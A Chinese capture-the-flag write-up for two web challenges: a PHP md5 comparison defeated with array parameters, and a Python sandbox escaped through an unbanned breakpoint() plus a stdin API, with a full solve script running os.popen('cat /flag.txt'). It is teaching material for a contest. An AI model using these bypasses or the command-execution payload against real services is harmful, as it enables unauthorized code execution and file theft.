furryCTF题解|Web方向|ezmd5、猫猫最后的复仇

ezmd5

进入实例之后发现php代码:

php 复制代码
<?php
highlight_file(__FILE__);
error_reporting(0);
$flag_path = '/flag';
if (isset($_POST['user']) && isset($_POST['pass'])) {
    $user = $_POST['user'];
    $pass = $_POST['pass'];
    if ($user !== $pass && md5($user) === md5($pass)) {
        echo "Congratulations! Here is your flag: <br>";
        echo file_get_contents($flag_path);
    } else {
        echo "Wrong! Hacker!";
    }
} else {
    echo "Please provide 'user' and 'pass' via POST.";
}
?> Please provide 'user' and 'pass' via POST.

发现:

php 复制代码
if ($user !== $pass && md5($user) === md5($pass))

这行代码需要userpass原始内容 必须不相等,但是它们的 MD5 哈希值 必须严格全等(类型和值都一样)。

漏洞分析

可以用数组绕过的方式做这道题。

原理: 在 PHP 8.0 之前,如果你给 md5() 函数传入一个 数组 (Array) 而不是字符串:

  1. PHP 无法计算数组的哈希,会报一个 Warning(警告),但不会停止运行

  2. 函数会返回NULL。

如果我们把 user 变成数组 []md5($user) 返回NULLpass 也变成数组 []md5($pass) 也返回NULL。我们需要通过 POST 发送数据,把 userpass 变成数组。

payload:

php 复制代码
user[]=1&pass[]=2

我这里直接用浏览器插件HackBar发送POST请求,发送后即可拿到flag:

本题flag:POFP{723fc88c-cf92-4458-90bc-ae0915a0a5c7}

猫猫最后的复仇

题目介绍:这次猫猫长记性了,把多余的代码给移除了。但是猫猫很不服气,他觉得只要把环境变量清空,你们就不可能拿到flag。为此他甚至升级了一下他的AST分析和黑名单替换,ban掉了import。哼哼唧唧!不信你们还能绕过呜呜呜~

分析题目app.py代码可以发现:程序进行了严格的 AST 检查,对代码进行了递归的字符串替换(把 banned list 里的词删掉)。

黑名单里封禁了 pdb(模块名)、set_trace(方法名)、breakpointhook(钩子名)。

漏洞分析

程序运行起来后,提供了一个 /api/send_input 接口,可以将数据写入进程的 stdin。通过 stdin 输进去的内容,是不经过 AST 检查和黑名单替换的。

并且黑名单没有封禁内置函数:breakpoint()。

攻击步骤

在实例代码输入框中输入:

php 复制代码
breakpoint()

看到网页显示:

确定了breakpoint可以运行,

最后运行解题脚本:

python 复制代码
import requests
import time
import threading
import socketio

TARGET_URL = "http://ctf.furryctf.com:33773"
sio = socketio.Client()
current_pid = None

@sio.event
def output(data):
    msg = data.get('data', '').strip()
    if msg:
        print(msg)

def solve():
    global current_pid
    # 1. 连接SocketIO
    try:
        sio.connect(TARGET_URL)
        threading.Thread(target=sio.wait, daemon=True).start()
    except:
        return

    # 2. 触发PDB调试器
    try:
        res = requests.post(f"{TARGET_URL}/api/run", json={"code": "breakpoint()", "args": ""})
        current_pid = res.json().get('pid')
    except:
        return

    time.sleep(2)

    # 3. 发送Payload读取Flag
    try:
        requests.post(f"{TARGET_URL}/api/send_input", json={
            "pid": current_pid,
            "input": "import os; print(os.popen('cat /flag.txt').read())"
        })
    except:
        return

    time.sleep(5)

    # 清理资源
    if current_pid:
        requests.post(f"{TARGET_URL}/api/terminate", json={"pid": current_pid})
    sio.disconnect()

if __name__ == '__main__':
    solve()

运行后看回显可获得flag:

脚本解析

sio = socketio.Client():创建一个 SocketIO 客户端对象 ------ 用来和服务器建立实时通信连接,接收 flag。

current_pid = None:用来存服务器上的 "进程 ID"(PID)。

@sio.event:给sio对象绑定一个 "监听规则"------ 当服务器有叫output的消息发过来时,自动执行下面的output函数。

def output(data):服务器发过来的消息会存在data里,我们要从中提取内容。

msg = data.get('data', '').strip():从服务器消息里抠出真正的内容,并去掉多余的空格 / 换行

json={"code": "breakpoint()", "args": ""}:提交的代码是breakpoint()------ 这行代码会触发 Python 的 PDB 调试器(相当于让服务器上的 Python 代码 "暂停运行,进入调试模式")。

"input": "import os; print(os.popen('cat /flag.txt').read())":发给调试器的攻击代码,拆解:

import os:导入 Python 的系统操作模块(只有导入这个才能执行系统命令);

os.popen('cat /flag.txt'):执行 Linux 系统命令cat /flag.txt(读取/flag.txt文件的内容);

.read():把命令执行的结果(flag 内容)读出来;

print(...):把 flag 内容打印出来 ------ 服务器会把这个打印的内容通过 SocketIO 推给我们(就是第三部分的output函数接收)。

总结

这个猫猫的复仇我本来想直接在实例里面breakpoint()之后直接执行import os; print(os.popen('cat /flag.txt').read())的,但是我试了几次都不太行,只能用ai的脚本,说实话这种用python发请求的脚本我还不是很懂,特别是python我没有专门学过(),不过用Burpsuite来发包还是更快更好一点,但是我的burpsuite还没有重新装回来......

相关推荐
ShoreKiten2 小时前
ctfshowweb入门 SSTI模板注入专题保姆级教程(三)
web安全·ssti·ctfshow
Hello.Reader2 小时前
Tauri 前端配置把任何前端框架“正确地”接进 Tauri(含 Vite/Next/Nuxt/Qwik/SvelteKit/Leptos/Trunk)
前端·前端框架
明月_清风2 小时前
浏览器时间管理大师:深度拆解 5 大核心调度 API
前端·javascript
明月_清风2 小时前
你不知道的 JS——现代系统级 API 篇
前端·javascript
咕噜咕噜啦啦10 小时前
Vue3响应式开发
前端·javascript·vue.js
huangql52011 小时前
布局单位与设计稿换算:从「看清」到「量准」
前端
牛奶12 小时前
你不知道的JS(下):深入编程
前端·javascript·电子书
牛奶12 小时前
你不知道的JS(下):深入JS(下)
前端·javascript·电子书
牛奶12 小时前
你不知道的JS(下):总结与未来
前端·javascript·电子书